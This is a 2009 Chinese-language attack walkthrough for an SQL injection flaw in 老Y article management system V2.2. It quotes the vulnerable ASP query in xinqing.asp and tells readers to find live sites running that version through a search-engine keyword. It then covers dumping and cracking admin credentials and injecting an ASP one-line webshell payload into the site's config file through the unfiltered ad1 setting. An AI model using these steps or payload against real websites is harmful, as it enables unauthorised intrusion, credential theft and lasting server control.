老Y CMS系统注入漏洞分析与利用(图)

来源:岁月联盟 编辑:zhuzhu 时间:2009-02-21
老Y CMS系统注入漏洞分析与利用(图) 有朋友让我帮忙给他们公司的网站检查下安全性,在答应了朋友之后。笔者打开朋友公司网站看了一下,发现是用老Y文章管理系统V2.2,下面就开始对其进行进一步的分析。

  分析对像:老Y文章管理系统 V2.2

  (一)前期分析

  由于该套系统是ASP+ACCESS,可能对于我们来说就有很多的限制,不像MSSQL,MYSQL有那么多的扩展和内置函数使用,其实像这些asp,php,jsp的动态网站注入,很大一方面是需要对各种数据库的了解。接下来,我们进入老Y文章管理系统官方网站看看:www.laoy*.cn,随便点个http://www.laoy*.cn/Class.asp?ID=4,并在后面加了个逗号,提示说参数不合法,被过滤了,本想注册个用户再看看,但想到是ACCESS数据库,就算过滤不严插入一句话到数据库也起不到多大作用,所以还是下载源代码到本机进一步分析。

  (二)漏洞分析

  由于代码不是很多,我们就来依次分析下主要的文件,使用正则表达式((select|update|delete|insert)+.*(from|set|into)+.*(where)+.*)来搜索相关的asp文件,由于access不支持多句查询,这里其实完全可以只搜索含有关键词select的asp文件,再xinqing.asp中找到如下代码:

action = Replace(Trim(Request.QueryString("action")),"'","")
id = Replace(Trim(Request.QueryString("id")),"'","")
typee = Replace(Trim(Request.QueryString("typee")),"'","")
if action="show" then
      set rs=server.createobject("adodb.recordset")
      sql="Select * From Yao_XinQing Where cstr(ArticleID)="&id&""
      rs.open sql,conn,1,1
    省略N多

  相信大家都能明白吧,id变量只是单纯的过滤了单引号就带入进了数据库,很明显产生了注入,简单分析下代码的意思,然后来构造自己的 注入语句 URL?action=show&id=317 这里id的变量从Yao_XinQing表中找的一个存在的值,然后放到注入工具就可以得到管理员用户名和密码,当然也可以用我给大家提供的工具,直接爆出管理员信息,然后把密码拿到www.cmd5.com去破解,接下来的事就简单。

(三)网络实战

  1. 通过关键字搜索老Y文章管理系统V2.2

  既然“老Y文章管理系统V2.2”存在漏洞,那么赶紧去网络战场去实战下,由于官方网站已经打了补丁最新版本是V2.3,所以我们找到合适的关键词用“Powered by laoy8 V2.2”,放到Baidu去搜搜,找到相关网页约34,100篇,如图1所示。

  图1 通过关键字搜索老Y文章管理系统V2.2

  2.前期准备工作

  由于前面的很多网站已被挂马,大家还是尽量选稍微靠后的网站进行测试,我用自己的空间http://www.ibk528.com/来尝试,直接用工具爆出用户名和密码登陆后台,可是发现数据库备份被删了,这可怎么办,突然想到由于配置文件(inc/config.asp)是asp,这样不就可以通过配置信息写如一句话安全,说着查看了下Admin_Setting.asp,发现除了ad1,ad2,ad3没有过滤,其他的参数由于过滤了双引号,那么我们就利用ad1参数来进行本地提交一句户安全到服务器,将后台的页面保存为admin_setting.htm,如图2所示。

  图2 创造“有利条件”

  3.获取Webshell

  将提交地址改为http://www.ibk***.com/admin/Admin_Setting.asp?Action=Edit,将ad1的参数设为:

 

"%><% execute request("#")%><%"

 

  然后点击提交,提示修改成功,然后用客户端连接即可配置文件,利用安全传安全。最后将得到的Webshell截张图,如图3所示。

图3

  (四)总结体会

  本文没有什么高深的技术,在这里只是想提醒大家在没有数据库备份的情况下,我们可以利用配置信息来插入一句话安全,希望对大家平时安全网站时有点帮助,上面提到的网站已在第一时间补上,大家不用再去测试了,如果大家发现了其他的漏洞,也请大侠你手下留情,别在我网站上挂马,在此谢谢了。